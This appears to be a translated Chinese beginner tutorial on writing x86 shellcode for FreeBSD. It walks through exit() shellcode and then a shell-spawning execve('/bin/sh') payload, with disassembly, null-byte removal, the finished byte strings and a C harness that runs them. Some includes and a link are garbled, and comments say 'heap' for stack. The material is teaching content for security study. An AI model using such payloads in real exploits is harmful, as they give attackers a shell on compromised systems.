FreeBSD上編寫x86 Shellcode初學者指南
介紹
本教程的目的是幫助你熟悉如何在 FreeBSD 作業系統上編寫 shellcode 。雖然我會盡力在這裡敘述所有有關的內容,但並不打算把本文寫成彙編程式碼程式設計的入門讀物。在反彙編中,你會注意到彙編程式碼採用 AT & T 語法,而我更喜歡使用 Intel 語法(無論是哪一種, nasm 的工作原理是一樣的)。如果你擔心這些差異會帶來困擾,請使用谷歌搜尋並瞭解這些差異。請注意我只是一個編寫 shellcod 的初學者,本文並不意味著是編寫 shellcode 的全部內容;相反,本文對於全新的 shellcoders 來說是一個簡單的介紹。換句話說,如果你以及編寫過 shellcode ,本文的內容可能不會讓你感興趣。
其中的程式碼改編自 The Shellcode/">Shellcoders Handbook 中的 linux 程式碼示例。
我引用的資源:
· Unix 系統程式設計 http://vip.cs.utsa.edu/usp/
· Shellcod 編寫參考手冊 http://www.wiley.com/WileyCDA/WileyAncillary/productCd-0764544683,typeCd-NOTE.html
· G. Adam Stanislav 的 FreeBSD 組合語言程式設計 http://www.int80h.org/bsdasm/
所需工具:
· objdump
· NASM ( Netwide Assembler )
· GCC
· GDB
在正式開始之前,讓我們節省一些時間來獲取 /usr/src/sys/kern/syscalls.master 的副本,這是系統呼叫及其相關編號的列表。將副本儲存在編碼目錄中可以節省後續的時間,你需要在以 root 身份登入時開啟檔案並進行更改,否則可能會發生錯誤。讓我們謹慎一點,複製一份副本。
既然我們已經完成了這一步,接下來我們繼續深入,隨著內容的深入,我會逐步解釋更多的事情。我們要做的第一個 shellcode 是非常簡單的 ,它用於 exit() 函式呼叫。我們首先在 C 程式碼中建立 exit() ,然後我們分析反彙編,以便我們可以將其重寫為 asm 。先編譯這個檔案:
gcc -o myexit myexit.c /* As easy as it gets */ #include main() { exit(0); // exit with "0" for successful exit }
現在我們已經編譯了程式碼,我們希望使用 gdb 來檢視函式內部。之後我們能夠看到計算機自動生成了我們的程式碼對應的彙編程式碼。只需按照說明的步驟操作,就能得到下面的結果:
bash$ gdb myexit (gdb) disas main Dump of assembler code for function main: 0x80481d8 : push %ebp 0x80481d9 : mov %esp,%ebp 0x80481db : sub $0x8,%esp 0x80481de : add $0xfffffff4,%esp 0x80481e1 : push $0x0 0x80481e3 : call 0x80498dc 0x80481e8 : add $0x10,%esp 0x80481eb : nop 0x80481ec : leave 0x80481ed : ret End of assembler dump.
讓我們一行一行的來分析一下。不要擔心任何事情,也不要擔心記憶體地址,因為我的地址很可能和你的不一樣。現在繼續看看彙編程式碼,這是本文內容的第一個重要部分。傳遞給 exit() 函式的引數只有一個。接下來是退出了實際的呼叫。這是我們需要搞清楚的兩件主要的事情。在我們進入程式碼之前,讓我們檢查 syscalls.master 來獲取 sysexit() 的值, grep 這個檔案後,我們找到了這行: 1 STD NOHIDE {void sys exit ( int rval ) ;exit sys exit args void 。重要的資訊是 1 ,它是系統呼叫號的值和 rval (返回值)引數。這表明 sys_exit() 接受一個引數,我們應該知道返回值是 ’0’ 代表這是一個成功的退出。
好的,將它放入彙編程式碼中。
section .text global _start _start: xor eax, eax push eax push eax mov eax, 1 int 80h
通過上面的程式碼,在我們進一步深入解釋為什麼程式碼會以這種方式有序的完成呼叫執行前,我會做個簡短的說明。在 FreeBSD (或 NetBSD , OpenBSD )中,系統呼叫的引數是以相反的順序被壓入堆疊的,實際的系統呼叫號放入 eax 暫存器然後中斷 80 會呼叫核心來執行我們的程式碼。
現在繼續, 'xor eax , eax’ 程式碼,如果 eax 有任何值的話,就會將 eax 清零。然後我們 'push eax’ 兩次。(我不知道是什麼技術原因導致的,但如果零被 push 堆疊一次,退出呼叫將返回 1 ,我們不希望這樣的返回值,只需將零 push 兩次就行。)現在我們載入 eax 呼叫 exit 的系統呼叫值為 1. 最後我們要做的是用 'int 80h’ 來實際呼叫核心。
不錯!現在我們已經編寫了了一些東西了,我們可以從中獲得 shellcode !我們需要組裝然後連結這個檔案。
bash$ nasm -f elf myexit.asm bash$ ld -s -o myexit myexit.o
現在它已經組裝和連結好了,讓我們使用 objdump 來獲取 shellcode 。
bash$ objdump -d myexit shortexit: file format elf32-i386 /usr/libexec/elf/objdump: shortexit: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b8 01 00 00 00 mov $0x1,%eax 8048089: cd 80 int $0x80
這段程式碼對某些人來說可能已經很好了,但它對我們來說很糟糕。看看程式碼中的那些 NULL ( 00 ),我們不能直接使用這段程式碼,因為當我們嘗試在我們之前編寫的 C 程式中執行程式碼時就會發生中斷。在 C 語言和其他程式語言中, NULL 會終止一個字串。這意味著如果我們嘗試將其載入到 C 語言陣列中,程式就會崩潰。所以我們不能那樣做。也許有其他的方法可以處理這段 asm 程式碼,我想出的辦法如下:
Section .text global _start _start: xor eax, eax push eax push eax inc eax int 80h
這裡唯一不同的是 'inc eax’ ,讓 eax 增加 1 (記住 eax 是從零開始的,我們需要返回 1 (退出系統呼叫的返回值)),所以在這種情況下它與 ’mov eax , 1' 是等價的。
再次,如上一個示例所示組裝並連結它,然後使用 objdump 。
bash$ objdump -d myexit /usr/libexec/elf/objdump: exit_shellcode: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: 40 inc %eax 8048085: cd 80 int $0x80
現在看一下!沒有 NULL 了,這段程式碼就是很好的 shellcode ,我們儲存一下!那麼現在我們有了正確的, 沒有 NULL 值的shellcode,現在是時候將它載入到 C 程式中來執行了。
#include #include /*working shellcode */ char shellcode[] = "\x31\xc0\x50\x50\x40\xcd\x80"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
就是這樣,這段程式碼看起來真的很漂亮哦!現在進行編譯:
bash$ gcc -o shellcode shellcode.c bash$ ./shellcode ; echo $? 0
由於程式退出時我們確實看不到內部的細節,所以我們使用 ‘echo $ ? ' 來輸出結果。 '$ ? ' 是一個 bash 內建的變數,它儲存程式的最後一個退出程式碼。由於我們在程式碼中給出了退出的返回值就是 ’0’ ,因此,我們的程式碼起作用了!幹得不錯,你的耐心和工作終於得到了回報。不過這只是一個開始,你可能不會使用這個程式碼。
好吧,你可能已經猜到了,退出的 shellcode 不是很有趣或有用,但它是一個很好的例子,能夠很容易的體現編寫 shellcode 的關鍵點。現在是時候開始介紹一個更常用到的函式的 shellcode 了,這個函式就是利用 execve() 來生成一個 shell 。但是我們還能用 execve() 做些什麼呢?在我們繼續開始編寫之前,我們應該再次查詢一下 syscalls.master ,以便我們可以確切知道 execve() 期望傳入的引數。因為 execve 不在檔案的最開頭,所以我是這樣找到函式定義原型的。
bash$ grep -i 'execve' syscalls.master 59 STD POSIX { int execve(char *fname, char **argv, char **envv); }
#include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); }
現在編譯,如下面所示,然後啟動 gdb :
bash$ gdb shell (gdb) disas main Dump of assembler code for function main: 0x80484a0 : push %ebp 0x80484a1 : mov %esp,%ebp 0x80484a3 : sub $0x18,%esp 0x80484a6 : movl $0x8048503,0xfffffff8(%ebp) 0x80484ad : movl $0x0,0xfffffffc(%ebp) 0x80484b4 : add $0xfffffffc,%esp 0x80484b7 : push $0x0 0x80484b9 : lea 0xfffffff8(%ebp),%eax 0x80484bc : push %eax 0x80484bd : mov 0xfffffff8(%ebp),%eax 0x80484c0 : push %eax 0x80484c1 : call 0x8048350 0x80484c6 : add $0x10,%esp 0x80484c9 : leave 0x80484ca : ret 0x80484cb : nop End of assembler dump.
哇,程式碼有點多!
由於這個程式碼更長一些,所以我將跳過程式碼本身,因為當你看到程式碼然後再解釋應該會更清楚。這也是我將程式碼解釋放在程式碼的註釋中的原因。
;不用擔心為什麼這裡會出現這些程式碼,因為這些是必需的,只能放在這裡 section .text global _start _start: ;這行程式碼是為了可以在堆上獲取到 db ‘/bin/sh' 的地址 jmp short _callshell _shellcode: ;這行程式碼可以將 db ‘/bin/sh' 的地址彈到esi暫存器中 pop esi ;確認eax暫存器中沒有值 xor eax, eax ;現在eax的值是NULL,我們可以將一根位元組放在'/bin/sh'字串來作為終止字元 mov byte [esi + 7], al ;在FreeBSD彙編中,我們將所有的引數以相反的順序放在堆上。將空值的 eax 暫存器push兩次因為我們不能使用帶引數的execve()。但是這是execve()所需要的 push eax push eax ;execve()需要的最後一個引數(注意這實際上是第一個引數,因為這裡的傳入順序是相反的) push esi ;這裡是實際呼叫execve()的系統呼叫值,我們將它移動到al中。如果我們將這個值傳入eax暫存器,那麼我們的shellcode會返回一個NULL值,這個做法不是很好。 mov al, 0x3b ;不要問我這裡為什麼是這樣的。因為shellcode需要。 push eax ;核心呼叫和執行之前我們所做的準備工作。注意這裡是一個80h中斷 int 0x80 _callshell: ;這行程式碼返回到了我們的程式碼的main函式入口。 call _shellcode ;我們實際上想要執行的命令字串將會傳入execve()函式 db '/bin/sh'
現在我們組裝該檔案:
bash$ nasm -f elf mynewshell.asm bash$ ld -o mynewshell mynewshell.o
然後我們啟動 objdump :
bash$ objdump -d mynewshell mynewshell: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 0e jmp 8048090 <_callshell> 08048082 <_shellcode>: 8048082: 5e pop %esi 8048083: 31 c0 xor %eax,%eax 8048085: 88 46 07 mov %al,0x7(%esi) 8048088: 50 push %eax 8048089: 50 push %eax 804808a: 56 push %esi 804808b: b0 3b mov $0x3b,%al 804808d: 50 push %eax 804808e: cd 80 int $0x80 08048090 <_callshell>: 8048090: e8 ed ff ff ff call 8048082 <_shellcode> 8048095: 2f das 8048096: 62 69 6e bound %ebp,0x6e(%ecx) 8048099: 2f das 804809a: 73 68 jae 8048104 <_callshell+0x74>
看看所有那些很 “ 美麗 ” 的 shellcode 。現在是時候將它格式化為一個有用的格式並放入 C 程式程式碼,以便我們可以執行 shellcode 。
#include #include /*working shellcode */ char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b" "\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
編譯並執行:
bash$ gcc -o shell shell.c bash$ ./shell $
shellcode 有效!我們製作了一個生成 shell 的 shellcode 。這需要一段時間才能實現,雖然這肯定不是你可以用 shellcode 的做很多事情的結束,至少它讓你有信心閱讀其他更全面的教程,並開始編寫自己的 shellcode 。